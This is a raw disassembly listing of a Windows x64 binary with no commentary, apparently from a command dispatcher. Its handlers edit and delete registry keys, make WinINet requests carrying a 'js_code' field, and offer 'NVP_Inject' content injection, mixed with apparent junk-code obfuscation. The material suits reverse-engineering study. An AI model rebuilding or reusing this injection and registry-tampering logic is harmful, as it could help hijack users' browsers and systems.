mov qword [rsp + 0xdc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xae8], rdx
lea rcx, [rsp + 0x358]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xfa0], rax
lea rdx, [0x1401535f8]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xaf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdd8], rdx
lea rcx, [rsp + 0x2e8]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xb08], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x1038], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb18], rdx
lea rcx, [rsp + 0x388]
call fcn.140003170
nop
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x590]
call fcn.140002100
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401bfd48]
lea r8, [rsp + 0x358]
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0x388]
call fcn.1400492a0
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x388]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065022
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065054
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x358]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065085
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test rsi, rsi
je 0x140067b8f
movzx eax, byte [rsp + 0x52]
neg al
sbb cx, cx
mov word [rsi + 8], cx
mov r14d, 0xb
mov word [rsi], r14w
jmp 0x140067b8f
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x1400656fb
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xde8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb28], rax
cmp byte [rax + 8], 4
jne 0x14006565f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xfb0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb38], rax
cmp byte [rax + 8], 4
jne 0x14006565f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xdf8], rax
lea rdx, [0x1401535f8]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb48], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x14006517c
cmp cl, 5
jne 0x14006565f
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x1d8], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x1020], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0xb58], rax
cmp rax, r12
je 0x1400654c7
mov eax, dword [0x1401c4d60]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 9
jne 0x1400651f7
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401c4d60], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe08], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfc0], rdx
lea rcx, [rsp + 0x3b8]
call fcn.140003170
nop
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 3
jne 0x1400652f8
movsd xmm3, qword [0x1401542b8]
movsd qword [rsp + 0x5d0], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x2f8], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x1401542e0]
movsd xmm6, qword [0x1401542b0]
nop dword [rax]
addsd xmm2, xmm3
movsd qword [rsp + 0x2f8], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1400652e4
subsd xmm2, xmm3
movsd qword [rsp + 0x2f8], xmm2
divsd xmm3, xmm5
movsd qword [rsp + 0x5d0], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x1400652b0
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x1d8], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x3b8]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1d8], rbx
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006535e
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1d8]
test rbx, rbx
je 0x1400654c7
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xb78], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xe18], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb88], rdx
lea rcx, [rsp + 0x368]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x1030], rax
lea rdx, [0x1401535f8]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xb98], rax
mov rcx, rax
call fcn.140038a50
mov dword [rsp + 0x1f0], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe28], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xba8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfd0], rdx
lea rcx, [rsp + 0x308]
call fcn.140003170
nop
mov r9, rbx
lea r8, [rsp + 0x368]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x308]
call fcn.140049a60
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065496
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x600], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065642
mov rdx, qword [rsp + 0x600]
jmp 0x140065639
lea rax, [rsp + 0x610]
mov qword [rsp + 0xbb8], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe38], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1018], rdx
lea rcx, [rsp + 0x268]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xbd8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xe48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbe8], rdx
lea rcx, [rsp + 0x318]
call fcn.140003170
nop
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x610]
call fcn.140002100
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xfe0], rax
lea rdx, [0x1401535f8]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xbf8], rax
mov rcx, rax
call fcn.140038a50
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401bfd48]
lea r8, [rsp + 0x268]
lea rcx, [rsp + 0x318]
call fcn.14004a590
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x318]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065611
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x268]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065642
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test rsi, rsi
je 0x14006565f
movzx eax, byte [rsp + 0x50]
neg al
sbb cx, cx
mov word [rsi + 8], cx
mov r14d, 0xb
mov word [rsi], r14w
call fcn.140062230
test al, al
jne 0x140067b8f
mov r8d, 0x57
mov dword [rsp + 0x190], r8d
mov r10d, edi
mov dword [rsp + 0x200], edi
mov r11d, dword [0x1401c4d60]
nop dword [rax + rax]
cmp r10d, r8d
jge 0x140067b8f
mov r9d, edi
mov dword [rsp + 0x1a0], edi
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x1400656ee
mov ecx, edi
mov dword [rsp + 0x250], ecx
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x1400656e1
mov eax, r9d
imul eax, r10d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x190], r8d
inc ecx
jmp 0x1400656b2
inc r9d
mov dword [rsp + 0x1a0], r9d
jmp 0x1400656a3
inc r10d
mov dword [rsp + 0x200], r10d
jmp 0x140065690
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140065d78
mov eax, dword [0x1401c4d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
mov eax, dword [0x1401c67e8]
mov edx, 0xd9cf7588
cmp ecx, 3
cmove eax, edx
mov dword [0x1401c67e8], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe58], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc08], rax
cmp byte [rax + 8], 4
jne 0x140067b8f
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x1028], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0xc18], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
cmp rax, r12
je 0x140065b75
call fcn.1400390c0
mov qword [rsp + 0xe68], rax
lea rdx, str.hive
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xff0], rdx
lea rcx, [rsp + 0x1f8]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x1f8]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc38], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe78], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc48], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1000], rdx
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
mov dword [rsp + 0x108], eax
test eax, eax
je 0x1400659eb
mov r8d, dword [0x1401c4d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xd
jne 0x140065910
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x63
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400cd918
mov qword [rsp + 0xc58], rax
mov rcx, rax
call fcn.1400cf37c
test rsi, rsi
je 0x140065920
mov dword [rsi + 8], ebx
mov eax, 0x16
mov word [rsi], ax
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065952
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065981
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x140065999
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xe88], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xc68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf70], rdx
lea rcx, [rsp + 0x270]
call fcn.140003170
nop
mov rdx, qword [rsp + 0x270]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x648], eax
mov rcx, qword [rsp + 0x1e8]
test eax, eax
jne 0x140065a80
lea rdx, [0x14014d8b8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0x108], eax
test eax, eax
jne 0x140065a91
test rsi, rsi
je 0x140065ad5
mov word [rsi + 8], r15w
mov r14d, 0xb
mov word [rsi], r14w
jmp 0x140065ad5
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x108], eax
test eax, eax
je 0x140065aa3
test rsi, rsi
je 0x140065ad5
mov dword [rsi + 8], eax
mov eax, 0x16
mov word [rsi], ax
jmp 0x140065ad5
test rsi, rsi
je 0x140065ab7
mov word [rsi + 8], r15w
mov r14d, 0xb
mov word [rsi], r14w
call fcn.140062350
test al, al
jne 0x140065ad5
mov dword [rsp + 0x2a10], edi
mov dword [rsp + 0x1560], edi
mov dword [rsp + 0x1190], edi
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x270]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x1f8]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x140065b23
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
xor bl, bl
mov r12d, 1
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
call fcn.1400390c0
mov qword [rsp + 0xc78], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xe98], rax
cmp byte [rax + 8], 4
jne 0x140065c97
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xc88], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xf78], rax
mov rdx, qword [rax]
mov qword [rsp + 0x878], rdx
lea rcx, [rsp + 0x2b0]
call fcn.140003170
nop
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x260]
call fcn.140002100
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x880], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x890], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8a0], rdx
lea rcx, [rsp + 0x280]
call fcn.140003170
nop
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x280]
call fcn.140048700
movzx ebx, al
mov byte [rsp + 0x78], al
lea rcx, [rsp + 0x280]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x260]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x2b0]
jmp 0x140065d52
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x2e0]
call fcn.140002100
nop
lea rdx, [0x14014d8b8]
lea rcx, [rsp + 0x2d0]
call fcn.140002100
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x8b0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x8c0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8d0], rdx
lea rcx, [rsp + 0x2c0]
call fcn.140003170
nop
lea r8, [rsp + 0x2e0]
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x2c0]
call fcn.140048700
movzx ebx, al
mov byte [rsp + 0x78], al
lea rcx, [rsp + 0x2c0]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x2d0]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x2e0]
call fcn.1400021a0
test rsi, rsi
je 0x140067b8f
neg bl
sbb ax, ax
mov word [rsi + 8], ax
mov r14d, 0xb
mov word [rsi], r14w
jmp 0x140067b8f
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x140066efc
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x140066efc
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x1400663c5
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r12d, 1
mov edx, r12d
lea rcx, [0x14014d8b8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
mov qword [rsp + 0x8e0], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x8f0], rax
lea rdx, [0x140150f60]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x900], rax
cmp byte [rax + 8], 4
jne 0x140066345
test r14, r14
je 0x140066345
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x910], rax
lea rdx, [0x140150f60]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x920], rax
lea rdx, [rsp + 0x3670]
mov rcx, rax
call fcn.1400387c0
mov qword [rsp + 0x930], rax
cmp qword [rax + 0x18], 0x10
jb 0x140065e83
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140003170
nop
cmp qword [rsp + 0x3688], 0x10
jb 0x140065eac
mov rcx, qword [rsp + 0x3670]
call fcn.1400ce2b0
mov qword [rsp + 0x3688], 0xf
mov qword [rsp + 0x3680], rdi
mov byte [rsp + 0x3670], 0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xa8]
call fcn.14000f550
mov ebx, eax
mov dword [rsp + 0x1b0], eax
test eax, eax
jle 0x140065fa4
add ebx, 6
mov dword [rsp + 0x1b0], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xa8]
call fcn.1400d0bb8
mov qword [rsp + 0x940], rax
test rax, rax
jne 0x140065f1e
mov eax, r15d
jmp 0x140065f29
sub rax, qword [rsp + 0xa8]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0xa8]
call fcn.14000f5a0
mov qword [rsp + 0x950], rax
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140002220
nop
lea rcx, [rsp + 0x660]
call fcn.1400021a0
lea rdx, str.js_code
lea rcx, [rsp + 0x2f0]
call fcn.140003170
nop
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0xa8]
call fcn.14001d3b0
nop
lea rcx, [rsp + 0x2f0]
call fcn.1400021a0
xor edx, edx
lea rcx, [rsp + 0x3d8]
call fcn.140038310
nop
lea rdx, [0x140150f90]
lea rcx, [rsp + 0xeb0]
call fcn.1400383d0
nop
lea rdx, [0x140150f94]
lea rcx, [rsp + 0x3d8]
call fcn.1400390c0
mov rcx, rax
lea rdx, [rsp + 0xeb0]
call fcn.140038730
nop
lea rcx, [rsp + 0xeb0]
call fcn.140038680
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x960], rax
lea rdx, [0x140150f60]
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0x970], rax
lea rdx, [rsp + 0x3810]
mov rcx, rax
call fcn.1400387c0
nop
mov rdx, rax
lea rcx, [rsp + 0xed0]
call fcn.140038460
nop
lea rdx, [0x140150f60]
lea rcx, [rsp + 0x3d8]
call fcn.1400390c0
mov rcx, rax
lea rdx, [rsp + 0xed0]
call fcn.140038730
nop
lea rcx, [rsp + 0xed0]
call fcn.140038680
nop
lea rcx, [rsp + 0x3810]
call fcn.1400013b0
lea rdx, [0x140150f9c]
lea rcx, [rsp + 0xef0]
call fcn.1400383d0
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x3d8]
call fcn.1400390c0
mov rcx, rax
lea rdx, [rsp + 0xef0]
call fcn.1400393e0
nop
lea rcx, [rsp + 0xef0]
call fcn.140038680
lea rdx, [0x140150fb4]
lea rcx, [rsp + 0xf10]
call fcn.1400383d0
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x3d8]
call fcn.1400390c0
mov rcx, rax
lea rdx, [rsp + 0xf10]
call fcn.140038730
nop
lea rcx, [rsp + 0xf10]
call fcn.140038680
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xf30]
call fcn.1400383d0
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x3d8]
call fcn.1400390c0
mov rcx, rax
lea rdx, [rsp + 0xf30]
call fcn.140038730
nop
lea rcx, [rsp + 0xf30]
call fcn.140038680
mov qword [rsp + 0x670], rdi
lea r9, [rsp + 0x3d8]
lea r8, [rsp + 0x670]
mov rdx, r14
lea rcx, [rsp + 0xf50]
call fcn.14002e1c0
nop
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, dword [0x1401c4d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 1
jne 0x14006621d
mov ecx, edi
mov dword [rsp + 0x230], ecx
nop dword [rax]
mov eax, 0x7e07e07f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x41
mov eax, r8d
sub eax, edx
cmp eax, 0x44
je 0x140066217
mov eax, r8d
or eax, 0xffffff4b
add r8d, eax
mov dword [0x1401c4d60], r8d
inc ecx
mov dword [rsp + 0x230], ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x140066217
jmp 0x1400661d0
mov dword [0x1401c4d60], ecx
test rsi, rsi
je 0x140066317
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x3640], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x3640], rax
mov qword [rsp + 0x3658], rdi
mov qword [rsp + 0x3660], rdi
mov qword [rsp + 0x3660], 0xf
mov qword [rsp + 0x3658], rdi
mov byte [rsp + 0x3648], 0
mov byte [rsp + 0x3668], 0
lea r8, [rsp + 0xf50]
lea rdx, [rsp + 0x37f0]
lea rcx, [rsp + 0x3640]
call fcn.14003b980
mov qword [rsp + 0x980], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400662a7
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x300]
call fcn.140003170
nop
lea rcx, [rsp + 0x37f0]
call fcn.1400013b0
mov rcx, qword [rsp + 0x300]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x428], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x990], rax
test rax, rax
jne 0x1400662ef
call fcn.140002490
mov qword [rsi + 8], rax
mov eax, 8
mov word [rsi], ax
lea rcx, [rsp + 0x300]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3640]
call fcn.14000af40
nop
lea rcx, [rsp + 0xf50]
call fcn.140038680
nop
lea rcx, [rsp + 0x3d8]
call fcn.140038680
nop
lea rcx, [rsp + 0xa8]
call fcn.1400021a0
jmp 0x140067b8f
test rsi, rsi
je 0x140066358
mov word [rsi + 8], di
mov r14d, 0xb
mov word [rsi], r14w
lea rcx, [rsp + 0x48]
call fcn.1400021a0
nop
cmp qword [rsp + 0x35f8], 0x10
jb 0x14006637b
mov rcx, qword [rsp + 0x35e0]
call fcn.1400ce2b0
mov qword [rsp + 0x35f8], 0xf
mov qword [rsp + 0x35f0], rdi
mov byte [rsp + 0x35e0], 0
lea rcx, [rsp + 0x70]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3730]
call fcn.140019070
nop
lea rcx, [rsp + 0x58]
call fcn.140038680
nop
mov r13, qword [rsp + 0x40]
jmp 0x140067cdb
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140066432
call fcn.140062350
test al, al
jne 0x140066415
mov rax, qword [str.g7Lm7znqunu5]
mov qword [rsp + 0x3f0], rax
mov eax, dword [0x140153728]
mov dword [rsp + 0x3f8], eax
movzx eax, byte [0x14015372c]
mov byte [rsp + 0x3fc], al
mov byte [rsp + 0x3f0], 0x8c
test rsi, rsi
je 0x140067b8f
mov word [rsi + 8], r15w
mov r14d, 0xb
mov word [rsi], r14w
jmp 0x140067b8f
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x1400669d6
test rsi, rsi
je 0x14006696e
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x9a0], rax
lea rdx, str.match
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0x9b0], rax
cmp rax, r12
je 0x140066921
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x9c0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0x9d0], rax
cmp rax, r12
je 0x140066921
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0x9e0], rax
lea rdx, str.message
mov rcx, rax
call fcn.1400392c0
mov qword [rsp + 0x9f0], rax
cmp rax, r12
je 0x140066921
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xa00], rax
lea rdx, str.match
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa10], rax
cmp byte [rax + 8], 1
jne 0x140066921
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xa20], rax
lea rdx, str.inject
mov rcx, rax
call fcn.1400390c0
mov qword [rsp + 0xa30], rax
cmp byte [rax + 8], 1
jne 0x140066921
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.1400390c0
mov qword [rsp + 0xa40], rax
